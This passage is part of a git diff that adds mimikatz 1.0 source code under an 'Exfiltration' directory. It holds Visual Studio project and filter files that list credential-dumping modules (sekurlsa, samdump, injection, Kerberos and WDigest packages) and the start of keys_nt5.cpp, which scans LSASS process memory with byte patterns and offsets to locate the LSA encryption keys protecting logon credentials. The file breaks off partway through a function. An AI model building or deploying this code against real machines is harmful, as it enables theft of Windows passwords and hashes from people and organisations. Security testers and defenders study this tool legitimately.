+ <MultiProcessorCompilation>true</MultiProcessorCompilation> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib</AdditionalDependencies> + <GenerateDebugInformation>false</GenerateDebugInformation> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <ErrorReporting>None</ErrorReporting> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib</AdditionalDependencies> + <GenerateDebugInformation>false</GenerateDebugInformation> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ClInclude Include="..\modules\mod_crypto.h" /> + <ClInclude Include="..\modules\mod_cryptoapi.h" /> + <ClInclude Include="..\modules\mod_cryptong.h" /> + <ClInclude Include="..\modules\mod_hash.h" /> + <ClInclude Include="..\modules\mod_hive.h" /> + <ClInclude Include="..\modules\mod_inject.h" /> + <ClInclude Include="..\modules\mod_memory.h" /> + <ClInclude Include="..\modules\mod_minidump.h" /> + <ClInclude Include="..\modules\mod_ntddk.h" /> + <ClInclude Include="..\modules\mod_parseur.h" /> + <ClInclude Include="..\modules\mod_patch.h" /> + <ClInclude Include="..\modules\mod_pipe.h" /> + <ClInclude Include="..\modules\mod_privilege.h" /> + <ClInclude Include="..\modules\mod_process.h" /> + <ClInclude Include="..\modules\mod_secacl.h" /> + <ClInclude Include="..\modules\mod_service.h" /> + <ClInclude Include="..\modules\mod_system.h" /> + <ClInclude Include="..\modules\mod_text.h" /> + <ClInclude Include="..\modules\mod_thread.h" /> + <ClInclude Include="..\modules\mod_ts.h" /> + <ClInclude Include="..\modules\mod_windows.h" /> + <ClInclude Include="..\modules\mod_winsta_desktop.h" /> + <ClInclude Include="global.h" /> + <ClInclude Include="mimikatz.h" /> + <ClInclude Include="modules\LSA Keys\keys_nt5.h" /> + <ClInclude Include="modules\LSA Keys\keys_nt6.h" /> + <ClInclude Include="modules\mod_mimikatz_crypto.h" /> + <ClInclude Include="modules\mod_mimikatz_divers.h" /> + <ClInclude Include="modules\mod_mimikatz_efs.h" /> + <ClInclude Include="modules\mod_mimikatz_handle.h" /> + <ClInclude Include="modules\mod_mimikatz_hash.h" /> + <ClInclude Include="modules\mod_mimikatz_inject.h" /> + <ClInclude Include="modules\mod_mimikatz_minesweeper.h" /> + <ClInclude Include="modules\mod_mimikatz_nogpo.h" /> + <ClInclude Include="modules\mod_mimikatz_privilege.h" /> + <ClInclude Include="modules\mod_mimikatz_process.h" /> + <ClInclude Include="modules\mod_mimikatz_samdump.h" /> + <ClInclude Include="modules\mod_mimikatz_impersonate.h" /> + <ClInclude Include="modules\mod_mimikatz_sekurlsa.h" /> + <ClInclude Include="modules\mod_mimikatz_service.h" /> + <ClInclude Include="modules\mod_mimikatz_standard.h" /> + <ClInclude Include="modules\mod_mimikatz_system.h" /> + <ClInclude Include="modules\mod_mimikatz_terminalserver.h" /> + <ClInclude Include="modules\mod_mimikatz_thread.h" /> + <ClInclude Include="modules\mod_mimikatz_winmine.h" /> + <ClInclude Include="modules\Security Packages\kerberos.h" /> + <ClInclude Include="modules\Security Packages\livessp.h" /> + <ClInclude Include="modules\Security Packages\msv1_0.h" /> + <ClInclude Include="modules\Security Packages\ssp.h" /> + <ClInclude Include="modules\Security Packages\tspkg.h" /> + <ClInclude Include="modules\Security Packages\wdigest.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\modules\mod_crypto.cpp" /> + <ClCompile Include="..\modules\mod_cryptoapi.cpp" /> + <ClCompile Include="..\modules\mod_cryptong.cpp" /> + <ClCompile Include="..\modules\mod_hash.cpp" /> + <ClCompile Include="..\modules\mod_hive.cpp" /> + <ClCompile Include="..\modules\mod_inject.cpp" /> + <ClCompile Include="..\modules\mod_memory.cpp" /> + <ClCompile Include="..\modules\mod_minidump.cpp" /> + <ClCompile Include="..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\modules\mod_patch.cpp" /> + <ClCompile Include="..\modules\mod_pipe.cpp" /> + <ClCompile Include="..\modules\mod_privilege.cpp" /> + <ClCompile Include="..\modules\mod_process.cpp" /> + <ClCompile Include="..\modules\mod_secacl.cpp" /> + <ClCompile Include="..\modules\mod_service.cpp" /> + <ClCompile Include="..\modules\mod_system.cpp" /> + <ClCompile Include="..\modules\mod_text.cpp" /> + <ClCompile Include="..\modules\mod_thread.cpp" /> + <ClCompile Include="..\modules\mod_ts.cpp" /> + <ClCompile Include="..\modules\mod_windows.cpp" /> + <ClCompile Include="..\modules\mod_winsta_desktop.cpp" /> + <ClCompile Include="global.cpp" /> + <ClCompile Include="main.cpp" /> + <ClCompile Include="mimikatz.cpp" /> + <ClCompile Include="modules\LSA Keys\keys_nt5.cpp" /> + <ClCompile Include="modules\LSA Keys\keys_nt6.cpp" /> + <ClCompile Include="modules\mod_mimikatz_crypto.cpp" /> + <ClCompile Include="modules\mod_mimikatz_divers.cpp" /> + <ClCompile Include="modules\mod_mimikatz_efs.cpp" /> + <ClCompile Include="modules\mod_mimikatz_handle.cpp" /> + <ClCompile Include="modules\mod_mimikatz_hash.cpp" /> + <ClCompile Include="modules\mod_mimikatz_inject.cpp" /> + <ClCompile Include="modules\mod_mimikatz_minesweeper.cpp" /> + <ClCompile Include="modules\mod_mimikatz_nogpo.cpp" /> + <ClCompile Include="modules\mod_mimikatz_privilege.cpp" /> + <ClCompile Include="modules\mod_mimikatz_process.cpp" /> + <ClCompile Include="modules\mod_mimikatz_samdump.cpp" /> + <ClCompile Include="modules\mod_mimikatz_impersonate.cpp" /> + <ClCompile Include="modules\mod_mimikatz_sekurlsa.cpp" /> + <ClCompile Include="modules\mod_mimikatz_service.cpp" /> + <ClCompile Include="modules\mod_mimikatz_standard.cpp" /> + <ClCompile Include="modules\mod_mimikatz_system.cpp" /> + <ClCompile Include="modules\mod_mimikatz_terminalserver.cpp" /> + <ClCompile Include="modules\mod_mimikatz_thread.cpp" /> + <ClCompile Include="modules\mod_mimikatz_winmine.cpp" /> + <ClCompile Include="modules\Security Packages\kerberos.cpp" /> + <ClCompile Include="modules\Security Packages\livessp.cpp" /> + <ClCompile Include="modules\Security Packages\msv1_0.cpp" /> + <ClCompile Include="modules\Security Packages\ssp.cpp" /> + <ClCompile Include="modules\Security Packages\tspkg.cpp" /> + <ClCompile Include="modules\Security Packages\wdigest.cpp" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="mimikatz.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters new file mode 100644 index 0000000..378149f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters @@ -0,0 +1,386 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{86154ac4-51c4-4228-9ebb-5bc3c67c82a5}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Certificats & Clés"> + <UniqueIdentifier>{ab2db025-9ada-4b24-9f10-5bc479e72179}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Injecteur"> + <UniqueIdentifier>{4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Mémoire"> + <UniqueIdentifier>{3774201f-55a6-4793-8ca7-b6a9b1ff795b}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{81abef97-02ad-49e1-abfc-05b3c052b87c}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz"> + <UniqueIdentifier>{5132675e-44a3-4ab9-a33b-91cbeaa9559a}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Standard"> + <UniqueIdentifier>{5b8a7a54-517e-4ab4-b7e6-be738e69c0c7}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Démineur"> + <UniqueIdentifier>{1c14c20e-5127-461c-8c84-e47f621878a5}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\AntiGpo"> + <UniqueIdentifier>{13a67a74-e658-49da-8af5-857e3d692af7}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Registre"> + <UniqueIdentifier>{56b648ea-1ae8-4f7b-90b6-860f84d468d9}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Samdump"> + <UniqueIdentifier>{4e99b7f2-6de3-4984-a50a-0f60b3cf74d6}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{e3eb943a-ee7e-4141-afb7-51276c95b0e1}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Injecteur"> + <UniqueIdentifier>{3d143a37-f444-4586-8866-b7c022720fb0}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Certificats & Clés"> + <UniqueIdentifier>{83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Patch"> + <UniqueIdentifier>{22cb979b-54ee-4732-bd93-538856c4818f}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Terminal Server"> + <UniqueIdentifier>{33450f45-6837-4cba-af7b-457bceebc085}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Divers"> + <UniqueIdentifier>{660c14bc-8634-4e80-87d6-39f9dab51e2d}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Securité et ACL"> + <UniqueIdentifier>{238e934d-2706-4fe3-8b7a-f14c2939f060}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\System"> + <UniqueIdentifier>{d5a5224b-a3d5-4ebb-9805-08998c7ed015}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\System"> + <UniqueIdentifier>{2a99a328-634d-44e7-bcaa-30112f169554}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Terminal Server"> + <UniqueIdentifier>{c8277a95-f9da-4352-9bb1-b35c883c6054}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Impersonate"> + <UniqueIdentifier>{b482744c-513e-41c6-a766-22adead15ecd}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Texte"> + <UniqueIdentifier>{a5ed030b-28fe-41b0-9f63-b254fd57400f}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\SekurLSA"> + <UniqueIdentifier>{77e8ad35-fa4d-4e0d-afdc-ae3060d5370a}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\SekurLSA\Security Packages"> + <UniqueIdentifier>{43b545d3-ad41-4c42-970d-7850d77b5432}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\SekurLSA\LSA Keys"> + <UniqueIdentifier>{3a9d8afc-3734-4b86-ab2a-a300a20f956a}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="mimikatz.h" /> + <ClInclude Include="..\modules\mod_crypto.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_inject.h"> + <Filter>Modules Communs\Injecteur</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_memory.h"> + <Filter>Modules Communs\Mémoire</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_process.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_crypto.h"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_standard.h"> + <Filter>Modules locaux pour mimikatz\Standard</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_process.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_winmine.h"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_nogpo.h"> + <Filter>Modules locaux pour mimikatz\AntiGpo</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_ntddk.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_hive.h"> + <Filter>Modules Communs\Registre</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_samdump.h"> + <Filter>Modules locaux pour mimikatz\Samdump</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_inject.h"> + <Filter>Modules locaux pour mimikatz\Injecteur</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_cryptoapi.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_cryptong.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_patch.h"> + <Filter>Modules Communs\Patch</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_terminalserver.h"> + <Filter>Modules locaux pour mimikatz\Terminal Server</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_divers.h"> + <Filter>Modules locaux pour mimikatz\Divers</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_secacl.h"> + <Filter>Modules Communs\Securité et ACL</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_thread.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_service.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_privilege.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_service.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_thread.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_privilege.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_system.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_system.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_ts.h"> + <Filter>Modules Communs\Terminal Server</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_impersonate.h"> + <Filter>Modules locaux pour mimikatz\Impersonate</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_handle.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_text.h"> + <Filter>Modules Communs\Texte</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_hash.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_hash.h"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_windows.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_minesweeper.h"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_sekurlsa.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\wdigest.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\kerberos.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\tspkg.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\livessp.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\msv1_0.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_efs.h"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_minidump.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_winsta_desktop.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\ssp.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\LSA Keys\keys_nt5.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClInclude> + <ClInclude Include="modules\LSA Keys\keys_nt6.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClInclude> + <ClInclude Include="global.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="main.cpp" /> + <ClCompile Include="mimikatz.cpp" /> + <ClCompile Include="..\modules\mod_crypto.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_inject.cpp"> + <Filter>Modules Communs\Injecteur</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_memory.cpp"> + <Filter>Modules Communs\Mémoire</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_process.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_crypto.cpp"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_standard.cpp"> + <Filter>Modules locaux pour mimikatz\Standard</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_winmine.cpp"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_nogpo.cpp"> + <Filter>Modules locaux pour mimikatz\AntiGpo</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_hive.cpp"> + <Filter>Modules Communs\Registre</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_samdump.cpp"> + <Filter>Modules locaux pour mimikatz\Samdump</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_inject.cpp"> + <Filter>Modules locaux pour mimikatz\Injecteur</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_cryptoapi.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_cryptong.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_patch.cpp"> + <Filter>Modules Communs\Patch</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_terminalserver.cpp"> + <Filter>Modules locaux pour mimikatz\Terminal Server</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_divers.cpp"> + <Filter>Modules locaux pour mimikatz\Divers</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_secacl.cpp"> + <Filter>Modules Communs\Securité et ACL</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_thread.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_service.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_privilege.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_system.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_thread.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_service.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_privilege.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_system.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_ts.cpp"> + <Filter>Modules Communs\Terminal Server</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_impersonate.cpp"> + <Filter>Modules locaux pour mimikatz\Impersonate</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_handle.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_text.cpp"> + <Filter>Modules Communs\Texte</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_hash.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_hash.cpp"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_windows.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_minesweeper.cpp"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\wdigest.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\kerberos.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\tspkg.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\livessp.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\msv1_0.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_sekurlsa.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_process.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_efs.cpp"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_minidump.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_winsta_desktop.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\ssp.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\LSA Keys\keys_nt5.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClCompile> + <ClCompile Include="modules\LSA Keys\keys_nt6.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClCompile> + <ClCompile Include="global.cpp" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="mimikatz.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp new file mode 100644 index 0000000..9b51c7f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp @@ -0,0 +1,76 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt5.h" +#include "..\..\global.h" +PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL; + +#ifdef _M_X64 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; +LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); +#elif defined _M_IX86 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68}; +LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY); +LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2; +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2; +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2; +#endif + +bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() +{ + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY))) + { +#ifdef _M_X64 + PBYTE g_Feedback = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_Feedback)); + g_pRandomKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pRandomKey)); + g_pDESXKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pDESXKey)); + PDWORD g_cbRandomKey = reinterpret_cast<PDWORD >((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_cbRandomKey)); +#elif defined _M_IX86 + PBYTE g_Feedback = *reinterpret_cast<PBYTE *>(ptrBase + OFFS_WNT5_g_Feedback); + g_pRandomKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pRandomKey); + g_pDESXKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pDESXKey); + PDWORD g_cbRandomKey = *reinterpret_cast<PDWORD *>(ptrBase + OFFS_WNT5_g_cbRandomKey); +#endif + *g_Feedback = NULL; *g_pRandomKey = NULL; 